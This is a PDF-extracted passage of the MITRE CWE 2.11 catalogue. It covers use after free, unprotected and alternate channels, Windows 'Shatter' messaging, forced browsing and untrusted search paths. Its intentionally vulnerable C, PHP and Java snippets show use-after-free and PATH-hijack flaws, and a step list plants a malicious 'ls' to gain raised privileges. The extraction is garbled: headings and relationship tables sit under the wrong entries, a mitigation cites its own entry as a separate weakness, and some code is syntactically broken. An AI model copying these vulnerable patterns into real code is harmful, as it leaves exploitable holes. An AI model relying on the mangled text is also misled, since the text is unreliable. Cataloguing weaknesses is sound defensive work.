<td>The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>DoS: crash / exit / restart</td>
</tr>
<tr>
<td>If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Integrity</th>
<th>Confidentiality</th>
<th>Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Execute unauthorized code or commands</td>
<td></td>
<td></td>
</tr>
<tr>
<td>If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Likelihood of Exploit
- High

### Demonstrative Examples

#### Example 1:

**C Example:**

```c
#include <stdio.h>
#include <unistd.h>
define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;
    buf1R1 = (char *) malloc(BUFSIZE1);
    buf2R1 = (char *) malloc(BUFSIZE1);
    free(buf2R1);
    buf2R2 = (char *) malloc(BUFSIZE2);
    buf3R2 = (char *) malloc(BUFSIZE2);
    strncpy(buf2R1, argv[1], BUFSIZE1-1);
    printf("%s\n", buf2R1); // Bad Code
}
```
Example 2:
The following code illustrates a use after free error:

C Example:

```c
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4434</td>
<td>mail server does not properly handle a long header.</td>
</tr>
<tr>
<td>CVE-2006-4997</td>
<td>freed pointer dereference</td>
</tr>
<tr>
<td>CVE-2008-0077</td>
<td>assignment of malformed values to certain properties triggers use after free</td>
</tr>
<tr>
<td>CVE-2008-5038</td>
<td>use-after-free when one thread accessed memory that was freed by another thread</td>
</tr>
<tr>
<td>CVE-2009-0749</td>
<td>realloc generates new buffer and pointer, but previous pointer is still retained, leading to use after free</td>
</tr>
<tr>
<td>CVE-2009-1837</td>
<td>Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)</td>
</tr>
<tr>
<td>CVE-2009-2416</td>
<td>use-after-free found by fuzzing</td>
</tr>
<tr>
<td>CVE-2009-3553</td>
<td>disconnect during a large data transfer causes incorrect reference count, leading to use-after-free</td>
</tr>
<tr>
<td>CVE-2009-3616</td>
<td>use-after-free by disconnecting during data transfer, or a message containing incorrect data types</td>
</tr>
<tr>
<td>CVE-2009-3658</td>
<td>Use after free in ActiveX object by providing a malformed argument to a method</td>
</tr>
<tr>
<td>CVE-2010-0050</td>
<td>HTML document with incorrectly-nested tags</td>
</tr>
<tr>
<td>CVE-2010-0249</td>
<td>use-after-free related to use of uninitialized memory</td>
</tr>
<tr>
<td>CVE-2010-0302</td>
<td>incorrectly tracking a reference count leads to use-after-free</td>
</tr>
<tr>
<td>CVE-2010-0378</td>
<td>unload of an object that is currently being accessed by other functionality</td>
</tr>
<tr>
<td>CVE-2010-0629</td>
<td>use-after-free involving request containing an invalid version number</td>
</tr>
<tr>
<td>CVE-2010-1208</td>
<td>object is deleted even with a non-zero reference count, and later accessed</td>
</tr>
<tr>
<td>CVE-2010-1437</td>
<td>Access to a &quot;dead&quot; object that is being cleaned up</td>
</tr>
<tr>
<td>CVE-2010-1772</td>
<td>Timers are not disabled when a related object is deleted</td>
</tr>
<tr>
<td>CVE-2010-2547</td>
<td>certificate with a large number of Subject Alternate Names not properly handled in realloc, leading to use-after-free</td>
</tr>
<tr>
<td>CVE-2010-2753</td>
<td>chain: integer overflow leads to use-after-free</td>
</tr>
<tr>
<td>CVE-2010-2941</td>
<td>Improper allocation for invalid data leads to use-after-free.</td>
</tr>
<tr>
<td>CVE-2010-3328</td>
<td>Use-after-free in web browser, probably resultant from not initializing memory.</td>
</tr>
<tr>
<td>CVE-2010-4168</td>
<td>Use-after-free triggered by closing a connection while data is still being transmitted.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Choose a language that provides automatic memory management.

Implementation
When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Relationships
CWE Version 2.11

CWE-417: Channel and Path Errors

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>234</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>248</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>399</td>
<td>Resource Management Errors</td>
<td>688</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>1247</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td>1259</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>983</td>
<td>SFP Secondary Cluster: Faulty Resource Use</td>
<td>1390</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>636</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>415</td>
<td>Double Free</td>
<td>718</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>982</td>
</tr>
</tbody>
</table>

Affected Resources
- Memory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Use After Free</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Using freed memory</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM00-C</td>
<td>Allocate and free memory in the same module, at the same level of abstraction</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM01-C</td>
<td>Store a new value in pointers immediately after free()</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM30-C</td>
<td>Do not access freed memory</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM01-CPP</td>
<td>Store a valid value in pointers immediately after deallocation</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM30-CPP</td>
<td>Do not access freed memory</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP15</td>
<td>Faulty Resource Use</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where code path has:
1. start statement that relinquishes a dynamically allocated memory resource
2. end statement that accesses the dynamically allocated memory resource

References

CWE-417: Channel and Path Errors

Category ID: 417 (Category) Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of communication channels and access paths.

Applicable Platforms

Languages
- All

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>18</td>
<td>Source Code</td>
<td>17</td>
</tr>
</tbody>
</table>
Relationship Notes
A number of vulnerabilities are specifically related to problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems. They are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Research Gaps
Most of these issues are probably under-studied. Only a handful of public reports exist.

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>418</td>
<td>Channel Errors</td>
</tr>
</tbody>
</table>

CWE-418: Channel Errors

Category ID: 418 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper handling of communication channels.

Applicable Platforms

Languages
• All

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>417</td>
<td>Channel and Path Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>e</td>
<td>419</td>
<td>Unprotected Primary Channel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>e</td>
<td>420</td>
<td>Unprotected Alternate Channel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>e</td>
<td>514</td>
<td>Covert Channel</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Channel Errors</td>
</tr>
</tbody>
</table>

CWE-419: Unprotected Primary Channel

Weakness ID: 419 (Weakness Base)  Status: Draft

Description

Summary
The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Language-independent

Common Consequences
CWE Version 2.11

CWE-420: Unprotected Alternate Channel

Access Control
Gain privileges / assume identity
Bypass protection mechanism

Potential Mitigations

Architecture and Design
Do not expose administrative functionality on the user UI.

Architecture and Design
Protect the administrative/restricted functionality with a strong authentication mechanism.

Related Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>418</td>
<td>Channel Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>383</td>
<td>Harvesting Usernames or UserID via Application API Event Monitoring (CAPEC Version 2.10)</td>
</tr>
</tbody>
</table>

CWE-420: Unprotected Alternate Channel

Weakness ID: 420 (Weakness Base) Status: Draft

Description

Summary
The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• Language-independent

Common Consequences

Access Control
Gain privileges / assume identity
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0066</td>
<td>Windows named pipe created without authentication/access control, allowing configuration modification.</td>
</tr>
<tr>
<td>CVE-2002-0567</td>
<td>DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.</td>
</tr>
<tr>
<td>CVE-2002-1578</td>
<td>Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.</td>
</tr>
<tr>
<td>CVE-2002-1863</td>
<td>FTP service can not be disabled even when other access controls would require it.</td>
</tr>
<tr>
<td>CVE-2003-1035</td>
<td>User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.</td>
</tr>
<tr>
<td>CVE-2004-1461</td>
<td>Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.</td>
</tr>
</tbody>
</table>

Potential Mitigations
**CWE-421: Race Condition During Access to Alternate Channel**

**Architecture and Design**

Identify all alternate channels and use the same protection mechanisms that are used for the primary channels.

**Relationship Notes**

This can be primary to authentication errors, and resultant from unhandled error conditions.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unprotected Alternate Channel</td>
</tr>
</tbody>
</table>

---

**CWE-421: Race Condition During Access to Alternate Channel**

**Weakness ID: 421 (Weakness Base) Status: Draft**

**Description**

**Summary**

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

**Extended Description**

This creates a race condition that allows an attacker to access the channel before the authorized user does.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

- All

**Common Consequences**

**Access Control**

Gain privileges / assume identity

Bypass protection mechanism

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0351</td>
<td>FTP <em>Pizza Thief</em> vulnerability. Attacker can connect to a port that was intended for use by another client.</td>
</tr>
<tr>
<td>CVE-2003-0230</td>
<td>Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>418</td>
<td>Channel Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☑</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>☑</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>422</td>
<td>Unprotected Windows Messaging Channel (‘Shatter’)</td>
<td>699</td>
</tr>
</tbody>
</table>

---

726
CWE Version 2.11

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Nature: ChildOf
Type: C
ID: 956
Name: SFP Secondary Cluster: Channel Attack
Page: 888

Affected Resources
- System Process

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Alternate Channel Race Condition</td>
</tr>
</tbody>
</table>

References

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID: 422 (Weakness Variant) Status: Draft

Description
Summary
The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
Access Control
- Gain privileges / assume identity
- Bypass protection mechanism

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0971</td>
<td>Bypass GUI and access restricted dialog box.</td>
</tr>
<tr>
<td>CVE-2002-1230</td>
<td>Gain privileges via Windows message.</td>
</tr>
<tr>
<td>CVE-2003-0350</td>
<td>A control allows a change to a pointer for a callback function using Windows message.</td>
</tr>
<tr>
<td>CVE-2003-0908</td>
<td>Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access &quot;open file&quot; dialog.</td>
</tr>
<tr>
<td>CVE-2004-0207</td>
<td>User can call certain API functions to modify certain properties of privileged programs.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Always verify and authenticate the source of the message.

Relationships
Nature: ChildOf
Type: C
ID: 360
Name: Trust of System Event Data
Page: 1000

Nature: ChildOf
Type: C
ID: 420
Name: Unprotected Alternate Channel
Page: 699

Nature: ChildOf
Type: C
ID: 634
Name: Weaknesses that Affect System Processes
Page: 631

Nature: ChildOf
Type: C
ID: 953
Name: SFP Secondary Cluster: Missing Endpoint Authentication
Page: 888

Relationship Notes
Overlaps privilege errors and UI errors.

Research Gaps
Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.
Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

**Affected Resources**
- System Process

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP30</td>
<td>Missing endpoint authentication</td>
</tr>
</tbody>
</table>

**References**


CWE-425: Direct Request ('Forced Browsing')

Nature: ParentOf
Type: 425
ID: Direct Request ('Forced Browsing')
Page: 699

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Alternate Path Errors</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP35</td>
<td>Insecure resource access</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>127</td>
<td>Directory Indexing</td>
</tr>
</tbody>
</table>

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425 (Weakness Base)
Status: Incomplete

Description

Summary
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description
Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Alternate Terms
forced browsing
The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- Language-independent

Common Consequences
Confidentiality
Integrity
Availability
Access Control
Read application data
Modify application data
Execute unauthorized code or commands
Gain privileges / assume identity

Demonstrative Examples
If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

JSP Example:
http://somesite.com/someapplication/admin.jsp

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1798</td>
<td>Upload arbitrary files via direct request.</td>
</tr>
<tr>
<td>CVE-2004-2144</td>
<td>Bypass authentication via direct request.</td>
</tr>
<tr>
<td>CVE-2004-2257</td>
<td>Bypass auth/auth via direct request.</td>
</tr>
<tr>
<td>CVE-2005-1654</td>
<td>Authorization bypass using direct request.</td>
</tr>
</tbody>
</table>
## CWE-425: Direct Request ('Forced Browsing')

### Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1668</td>
<td>Access privileged functionality using direct request.</td>
</tr>
<tr>
<td>CVE-2005-1685</td>
<td>Authentication bypass via direct request.</td>
</tr>
<tr>
<td>CVE-2005-1688</td>
<td>Direct request leads to infoleak by error.</td>
</tr>
<tr>
<td>CVE-2005-1697</td>
<td>Direct request leads to infoleak by error.</td>
</tr>
<tr>
<td>CVE-2005-1698</td>
<td>Direct request leads to infoleak by error.</td>
</tr>
<tr>
<td>CVE-2005-1827</td>
<td>Authentication bypass via direct request.</td>
</tr>
<tr>
<td>CVE-2005-1892</td>
<td>Infinite loop or infoleak triggered by direct requests.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

**Operation**

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

**Architecture and Design**

Consider using MVC based frameworks such as Struts.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>C</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
<td>629</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>862</td>
<td>Missing Authorization</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>953</td>
<td>SFP Secondary Cluster: Missing Endpoint Authentication</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td>1000</td>
</tr>
</tbody>
</table>

### Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

### Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Direct Request aka 'Forced Browsing'</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Failure to Restrict URL Access</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A1</td>
<td>CWE More Specific</td>
<td>Unvalidated Input</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Broken Access Control</td>
</tr>
<tr>
<td>WASC</td>
<td>34</td>
<td></td>
<td>Predictable Resource Location</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP30</td>
<td></td>
<td>Missing endpoint authentication</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>87</td>
<td>Forceful Browsing</td>
<td></td>
</tr>
<tr>
<td>127</td>
<td>Directory Indexing</td>
<td></td>
</tr>
</tbody>
</table>
CWE-426: Untrusted Search Path

Description

Summary
The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

Extended Description
This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library.

In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

Alternate Terms
Untrusted Path

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Operating Systems
- OS-independent

Common Consequences

Integrity
Confidentiality
Availability
Access Control

Gain privileges / assume identity

Execute unauthorized code or commands
There is the potential for arbitrary code execution with privileges of the vulnerable program.

Availability
DoS: crash / exit / restart
The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.

Confidentiality
Read files or directories
The program could send the output of unauthorized files to the attacker.

Likelihood of Exploit
High

Detection Methods
**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

**Automated Static Analysis**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Manual Analysis**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Demonstrative Examples**

**Example 1:**

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

**C Example:**

```c
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

**PseudoCode Example:**

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".
The user creates a malicious program called "ls", and puts that program in /my/dir
The user executes the program.
When system() is executed, the shell consults the PATH to find the ls program
The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
The program executes the malicious program with the raised privileges.

**Example 2:**

This code prints all of the running processes belonging to the current user.
PHP Example:

```php
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
(userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack, as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

**Example 3:**

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

**Java Example:**

```java
... System.Runtime.getRuntime().exec("make"); ...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1120</td>
<td>Application relies on its PATH environment variable to find and execute program.</td>
</tr>
<tr>
<td>CVE-2007-2027</td>
<td>Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages.</td>
</tr>
<tr>
<td>CVE-2008-1319</td>
<td>Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.</td>
</tr>
<tr>
<td>CVE-2008-1810</td>
<td>Database application relies on its PATH environment variable to find and execute program.</td>
</tr>
<tr>
<td>CVE-2008-2613</td>
<td>Setuid program allows compromise using path that finds and loads a malicious library.</td>
</tr>
<tr>
<td>CVE-2008-3485</td>
<td>Untrusted search path using malicious .EXE in Windows environment.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Implementation**

**Identify and Reduce Attack Surface**

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

**Implementation**

